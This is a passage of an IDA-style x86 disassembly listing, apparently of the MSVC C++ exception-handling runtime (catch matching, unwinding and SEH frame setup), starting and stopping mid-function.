jmp short loc_423CCB
; ---------------------------------------------------------------------------
loc_423C9E: ; CODE XREF: sub_423BE0+70j
; sub_423BE0+7Cj ...
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov dl, byte ptr [ebp+arg_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_423CD0
add esp, 20h
loc_423CC6: ; CODE XREF: sub_423BE0+65j
mov eax, 1
loc_423CCB: ; CODE XREF: sub_423BE0+59j
; sub_423BE0+BCj
mov esp, ebp
pop ebp
retn
sub_423BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CD0 proc near ; CODE XREF: sub_423BE0+DEp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0FFFFFFFFh
jl short loc_423CFD
mov edx, [ebp+arg_10]
mov eax, [ebp+var_4]
cmp eax, [edx+4]
jge short loc_423CFD
mov [ebp+var_28], 0
jmp short loc_423D05
; ---------------------------------------------------------------------------
loc_423CFD: ; CODE XREF: sub_423CD0+17j
; sub_423CD0+22j
call sub_424940
mov [ebp+var_28], eax
loc_423D05: ; CODE XREF: sub_423CD0+2Bj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz loc_423DC5
mov edx, [ebp+arg_0]
cmp dword ptr [edx+10h], 3
jnz loc_423DC5
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jnz loc_423DC5
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+1Ch], 0
jnz loc_423DC5
call sub_41F970
cmp dword ptr [eax+6Ch], 0
jnz short loc_423D4E
jmp loc_423F6C
; ---------------------------------------------------------------------------
loc_423D4E: ; CODE XREF: sub_423CD0+77j
call sub_41F970
mov edx, [eax+6Ch]
mov [ebp+arg_0], edx
call sub_41F970
mov eax, [eax+70h]
mov [ebp+arg_8], eax
mov [ebp+var_8], 1
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_42A820
add esp, 8
test eax, eax
jz short loc_423D83
mov [ebp+var_2C], 0
jmp short loc_423D8B
; ---------------------------------------------------------------------------
loc_423D83: ; CODE XREF: sub_423CD0+A8j
call sub_424940
mov [ebp+var_2C], eax
loc_423D8B: ; CODE XREF: sub_423CD0+B1j
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_423DBE
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 3
jnz short loc_423DBE
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_423DBE
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_423DBE
call sub_424940
mov [ebp+var_30], eax
jmp short loc_423DC5
; ---------------------------------------------------------------------------
loc_423DBE: ; CODE XREF: sub_423CD0+C4j
; sub_423CD0+CDj ...
mov [ebp+var_30], 0
loc_423DC5: ; CODE XREF: sub_423CD0+3Ej
; sub_423CD0+4Bj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 0E06D7363h
jnz loc_423F2C
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 3
jnz loc_423F2C
mov edx, [ebp+arg_0]
cmp dword ptr [edx+14h], 19930520h
jnz loc_423F2C
lea eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_419620
add esp, 14h
mov [ebp+var_10], eax
jmp short loc_423E24
; ---------------------------------------------------------------------------
loc_423E12: ; CODE XREF: sub_423CD0:loc_423E45j
; sub_423CD0:loc_423F0Aj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 14h
mov [ebp+var_10], eax
loc_423E24: ; CODE XREF: sub_423CD0+140j
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_C]
jnb loc_423F0F
mov edx, [ebp+var_10]
mov eax, [edx]
cmp eax, [ebp+var_4]
jg short loc_423E45
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jle short loc_423E47
loc_423E45: ; CODE XREF: sub_423CD0+168j
jmp short loc_423E12
; ---------------------------------------------------------------------------
loc_423E47: ; CODE XREF: sub_423CD0+173j
mov eax, [ebp+var_10]
mov ecx, [eax+10h]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov [ebp+var_24], eax
jmp short loc_423E6D
; ---------------------------------------------------------------------------
loc_423E5B: ; CODE XREF: sub_423CD0:loc_423F05j
mov ecx, [ebp+var_24]
sub ecx, 1
mov [ebp+var_24], ecx
mov edx, [ebp+var_1C]
add edx, 10h
mov [ebp+var_1C], edx
loc_423E6D: ; CODE XREF: sub_423CD0+189j
cmp [ebp+var_24], 0
jle loc_423F0A
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
add edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
mov eax, [edx]
mov [ebp+var_20], eax
jmp short loc_423EA8
; ---------------------------------------------------------------------------
loc_423E96: ; CODE XREF: sub_423CD0+1FBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_18]
add edx, 4
mov [ebp+var_18], edx
loc_423EA8: ; CODE XREF: sub_423CD0+1C4j
cmp [ebp+var_20], 0
jle short loc_423F05
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+var_18]
mov eax, [edx]
push eax
mov ecx, [ebp+var_1C]
push ecx
call sub_424090
add esp, 0Ch
test eax, eax
jnz short loc_423ECD
jmp short loc_423E96
; ---------------------------------------------------------------------------
loc_423ECD: ; CODE XREF: sub_423CD0+1F9j
mov dl, [ebp+var_8]
push edx
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_18]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424280
; ---------------------------------------------------------------------------
add esp, 2Ch
jmp short loc_423F6A
; ---------------------------------------------------------------------------
loc_423F05: ; CODE XREF: sub_423CD0+1DCj
jmp loc_423E5B
; ---------------------------------------------------------------------------
loc_423F0A: ; CODE XREF: sub_423CD0+1A1j
; sub_423CD0:loc_423F6Aj
jmp loc_423E12
; ---------------------------------------------------------------------------
loc_423F0F: ; CODE XREF: sub_423CD0+15Aj
mov edx, [ebp+arg_14]
and edx, 0FFh
test edx, edx
jz short loc_423F2A
push 1
mov eax, [ebp+arg_0]
push eax
call sub_424760
add esp, 8
loc_423F2A: ; CODE XREF: sub_423CD0+24Aj
jmp short loc_423F68
; ---------------------------------------------------------------------------
loc_423F2C: ; CODE XREF: sub_423CD0+FEj
; sub_423CD0+10Bj ...
mov ecx, [ebp+arg_14]
and ecx, 0FFh
test ecx, ecx
jnz short loc_423F63
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_423F70
add esp, 20h
jmp short loc_423F68
; ---------------------------------------------------------------------------
loc_423F63: ; CODE XREF: sub_423CD0+267j
call sub_424890
loc_423F68: ; CODE XREF: sub_423CD0:loc_423F2Aj
; sub_423CD0+291j
jmp short loc_423F6C
; ---------------------------------------------------------------------------
loc_423F6A: ; CODE XREF: sub_423CD0+233j
jmp short loc_423F0A
; ---------------------------------------------------------------------------
loc_423F6C: ; CODE XREF: sub_423CD0+79j
; sub_423CD0:loc_423F68j
mov esp, ebp
pop ebp
retn
sub_423CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423F70 proc near ; CODE XREF: sub_423CD0+289p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 0Ch
call sub_41F970
cmp dword ptr [eax+68h], 0
jz short loc_423FAE
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4194C0
add esp, 1Ch
test eax, eax
jz short loc_423FAE
jmp loc_424081
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F70+Fj
; sub_423F70+37j
lea ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
call sub_419620
add esp, 14h
mov [ebp+var_8], eax
jmp short loc_423FE1
; ---------------------------------------------------------------------------
loc_423FCF: ; CODE XREF: sub_423F70:loc_424039j
; sub_423F70+10Cj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_8]
add ecx, 14h
mov [ebp+var_8], ecx
loc_423FE1: ; CODE XREF: sub_423F70+5Dj
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jnb loc_424081
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
cmp ecx, [eax]
jl short loc_424039
mov edx, [ebp+var_8]
mov eax, [ebp+arg_14]
cmp eax, [edx+4]
jg short loc_424039
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
sub edx, 1
shl edx, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
cmp dword ptr [ecx+edx+4], 0
jz short loc_42403B
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
mov eax, [edx+eax+4]
movsx ecx, byte ptr [eax+8]
test ecx, ecx
jz short loc_42403B
loc_424039: ; CODE XREF: sub_423F70+85j
; sub_423F70+90j
jmp short loc_423FCF
; ---------------------------------------------------------------------------
loc_42403B: ; CODE XREF: sub_423F70+A9j
; sub_423F70+C7j
push 1
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_8]
push ecx
push 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
add edx, eax
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_424280
; ---------------------------------------------------------------------------
add esp, 2Ch
jmp loc_423FCF
; ---------------------------------------------------------------------------
loc_424081: ; CODE XREF: sub_423F70+39j
; sub_423F70+77j
mov esp, ebp
pop ebp
retn
sub_423F70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424090 proc near ; CODE XREF: sub_423CD0+1EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jz short loc_4240AB
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jnz short loc_4240B5
loc_4240AB: ; CODE XREF: sub_424090+Bj
mov eax, 1
jmp loc_424142
; ---------------------------------------------------------------------------
loc_4240B5: ; CODE XREF: sub_424090+19j
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ecx+4]
cmp eax, [edx+4]
jz short loc_4240E7
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
add ecx, 8
push ecx
call sub_417870
add esp, 8
test eax, eax
jz short loc_4240E7
xor eax, eax
jmp short loc_424142
; ---------------------------------------------------------------------------
loc_4240E7: ; CODE XREF: sub_424090+31j
; sub_424090+51j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 2
test eax, eax
jz short loc_4240FF
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 8
test edx, edx
jz short loc_424138
loc_4240FF: ; CODE XREF: sub_424090+61j
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_424117
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 1
test eax, eax
jz short loc_424138
loc_424117: ; CODE XREF: sub_424090+79j
mov ecx, [ebp+arg_8]
mov edx, [ecx]
and edx, 2
test edx, edx
jz short loc_42412F
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 2
test ecx, ecx
jz short loc_424138
loc_42412F: ; CODE XREF: sub_424090+91j
mov [ebp+var_4], 1
jmp short loc_42413F
; ---------------------------------------------------------------------------
loc_424138: ; CODE XREF: sub_424090+6Dj
; sub_424090+85j ...
mov [ebp+var_4], 0
loc_42413F: ; CODE XREF: sub_424090+A6j
mov eax, [ebp+var_4]
loc_424142: ; CODE XREF: sub_424090+20j
; sub_424090+55j
mov esp, ebp
pop ebp
retn
sub_424090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424150 proc near ; CODE XREF: ___:004193FAp
; sub_423BE0+4Cp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434178
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_1C], ecx
loc_42417F: ; CODE XREF: sub_424150+BFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+arg_C]
jz loc_424214
cmp [ebp+var_1C], 0FFFFFFFFh
jle short loc_4241A5
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_1C]
cmp ecx, [eax+4]
jge short loc_4241A5
mov [ebp+var_20], 0
jmp short loc_4241AD
; ---------------------------------------------------------------------------
loc_4241A5: ; CODE XREF: sub_424150+3Fj
; sub_424150+4Aj
call sub_424940
mov [ebp+var_20], eax
loc_4241AD: ; CODE XREF: sub_424150+53j
mov [ebp+var_4], 0
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
cmp dword ptr [eax+ecx*8+4], 0
jz short loc_4241E0
push 103h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov edx, [ebp+var_1C]
mov eax, [ecx+edx*8+4]
push eax
call sub_424840
loc_4241E0: ; CODE XREF: sub_424150+72j
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_424200
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_14]
push ecx
call sub_424250
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_424200: ; CODE XREF: sub_424150+97j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
mov edx, [eax+ecx*8]
mov [ebp+var_1C], edx
jmp loc_42417F
; ---------------------------------------------------------------------------
loc_424214: ; CODE XREF: sub_424150+35j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_C]
jnz short loc_424225
mov [ebp+var_24], 0
jmp short loc_42422D
; ---------------------------------------------------------------------------
loc_424225: ; CODE XREF: sub_424150+CAj
call sub_424940
mov [ebp+var_24], eax
loc_42422D: ; CODE XREF: sub_424150+D3j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov [ecx+8], edx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424250 proc near ; CODE XREF: sub_424150+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0E06D7363h
jz short loc_424271
jmp short loc_424276
; ---------------------------------------------------------------------------
loc_424271: ; CODE XREF: sub_424250+1Dj
call sub_424890
loc_424276: ; CODE XREF: sub_424250+1Fj
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_424250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_424280 proc near ; CODE XREF: sub_423CD0+22Bp
; sub_423F70+104p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
; FUNCTION CHUNK AT 004242CC SIZE 0000006B BYTES
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_18], 0
jz short loc_4242AA
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4244E0
add esp, 10h
loc_4242AA: ; CODE XREF: sub_424280+10j
cmp [ebp+arg_24], 0
jnz short loc_4242BF
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_419340
; ---------------------------------------------------------------------------
jmp short loc_4242CC
; ---------------------------------------------------------------------------
loc_4242BF: ; CODE XREF: sub_424280+2Ej
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_24]
push edx
call sub_419340
sub_424280 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424280
loc_4242CC: ; CODE XREF: sub_424280+3Dj
mov eax, [ebp+arg_1C]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_424150
add esp, 10h
mov edx, [ebp+arg_1C]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
push 100h
mov edx, [ebp+arg_20]
push edx
mov eax, [ebp+arg_14]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_424340
add esp, 1Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_424333
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_4192D0
loc_424333: ; CODE XREF: sub_424280+A4j
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_424280
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424340 proc near ; CODE XREF: sub_424280+95p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 0042447B SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434188
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
mov [ebp+var_24], 0
mov ecx, [ebp+arg_4]
mov edx, [ecx-4]
mov [ebp+var_28], edx
call sub_41F970
mov eax, [eax+6Ch]
mov [ebp+var_1C], eax
call sub_41F970
mov ecx, [eax+70h]
mov [ebp+var_20], ecx
call sub_41F970
mov edx, [ebp+arg_0]
mov [eax+6Ch], edx
call sub_41F970
mov ecx, [ebp+arg_8]
mov [eax+70h], ecx
mov [ebp+var_4], 0
mov [ebp+var_4], 1
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_419410
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], 0
jmp short loc_42440F
; ---------------------------------------------------------------------------
loc_4243DE: ; DATA XREF: ___:00434198o
mov ecx, [ebp+var_14]
push ecx
call sub_424490
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
push 0FFFFFFFFh
mov [ebp+var_30], 0
lea edx, [ebp+var_10]
push edx
call sub_4196F2
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_42447E
; ---------------------------------------------------------------------------
loc_42440F: ; CODE XREF: sub_424340+9Cj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42441D
jmp short loc_42447B
sub_424340 endp
; =============== S U B R O U T I N E =======================================
sub_42441D proc near ; CODE XREF: sub_424340+D6p
; DATA XREF: ___:00434190o
mov eax, [ebp+0Ch]
mov ecx, [ebp-28h]
mov [eax-4], ecx
call sub_41F970
mov edx, [ebp-1Ch]
mov [eax+6Ch], edx
call sub_41F970
mov ecx, [ebp-20h]
mov [eax+70h], ecx
mov edx, [ebp+8]
cmp dword ptr [edx], 0E06D7363h
jnz short locret_42447A
mov eax, [ebp+8]
cmp dword ptr [eax+10h], 3
jnz short locret_42447A
mov ecx, [ebp+8]
cmp dword ptr [ecx+14h], 19930520h
jnz short locret_42447A
cmp dword ptr [ebp-24h], 0
jnz short locret_42447A
cmp dword ptr [ebp-2Ch], 0
jz short locret_42447A
call sub_41975A
push eax
mov edx, [ebp+8]
push edx
call sub_424760
add esp, 8
locret_42447A: ; CODE XREF: sub_42441D+28j
; sub_42441D+31j ...
retn
sub_42441D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424340
loc_42447B: ; CODE XREF: sub_424340+DBj
mov eax, [ebp+var_2C]
loc_42447E: ; CODE XREF: sub_424340+CDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_424340
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424490 proc near ; CODE XREF: sub_424340+A2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_4244CC
mov eax, [ebp+var_4]
cmp dword ptr [eax+10h], 3
jnz short loc_4244CC
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_4244CC
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_4244CC
mov eax, 1
jmp short loc_4244CE
; ---------------------------------------------------------------------------
loc_4244CC: ; CODE XREF: sub_424490+15j
; sub_424490+1Ej ...
xor eax, eax
loc_4244CE: ; CODE XREF: sub_424490+3Aj
mov esp, ebp
pop ebp
retn
sub_424490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244E0 proc near ; CODE XREF: sub_424280+22p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4341A0
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_424526
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jz short loc_424526
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+8], 0
jnz short loc_42452B
loc_424526: ; CODE XREF: sub_4244E0+2Dj
; sub_4244E0+3Bj
jmp loc_42474A
; ---------------------------------------------------------------------------
loc_42452B: ; CODE XREF: sub_4244E0+44j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+arg_4]
lea edx, [ecx+eax+0Ch]
mov [ebp+var_1C], edx
mov [ebp+var_4], 0
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 8
test ecx, ecx
jz short loc_4245A6
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42A820
add esp, 8
test eax, eax
jz short loc_42459C
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_42A850
add esp, 8
test eax, eax
jz short loc_42459C
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
mov [edx], ecx
mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
push ecx
call sub_4247F0
add esp, 8
mov edx, [ebp+var_1C]
mov [edx], eax
jmp short loc_4245A1
; ---------------------------------------------------------------------------
loc_42459C: ; CODE XREF: sub_4244E0+81j
; sub_4244E0+93j
call sub_424940
loc_4245A1: ; CODE XREF: sub_4244E0+BAj
jmp loc_424733
; ---------------------------------------------------------------------------
loc_4245A6: ; CODE XREF: sub_4244E0+6Cj
mov eax, [ebp+arg_C]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42462A
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_42A820
add esp, 8
test eax, eax
jz short loc_424620
push 1
mov ecx, [ebp+var_1C]
push ecx
call sub_42A850
add esp, 8
test eax, eax
jz short loc_424620
mov edx, [ebp+arg_C]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_4197C0
add esp, 0Ch
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+14h], 4
jnz short loc_42461E
mov edx, [ebp+var_1C]
cmp dword ptr [edx], 0
jz short loc_42461E
mov eax, [ebp+arg_C]
add eax, 8
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx]
push edx
call sub_4247F0
add esp, 8
mov ecx, [ebp+var_1C]
mov [ecx], eax
loc_42461E: ; CODE XREF: sub_4244E0+11Aj
; sub_4244E0+122j
jmp short loc_424625
; ---------------------------------------------------------------------------
loc_424620: ; CODE XREF: sub_4244E0+E5j
; sub_4244E0+F7j
call sub_424940
loc_424625: ; CODE XREF: sub_4244E0:loc_42461Ej
jmp loc_424733
; ---------------------------------------------------------------------------
loc_42462A: ; CODE XREF: sub_4244E0+D0j
mov edx, [ebp+arg_C]
cmp dword ptr [edx+18h], 0
jnz short loc_424690
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42A820
add esp, 8
test eax, eax
jz short loc_424686
push 1
mov edx, [ebp+var_1C]
push edx
call sub_42A850
add esp, 8
test eax, eax
jz short loc_424686
mov eax, [ebp+arg_C]
mov ecx, [eax+14h]
push ecx
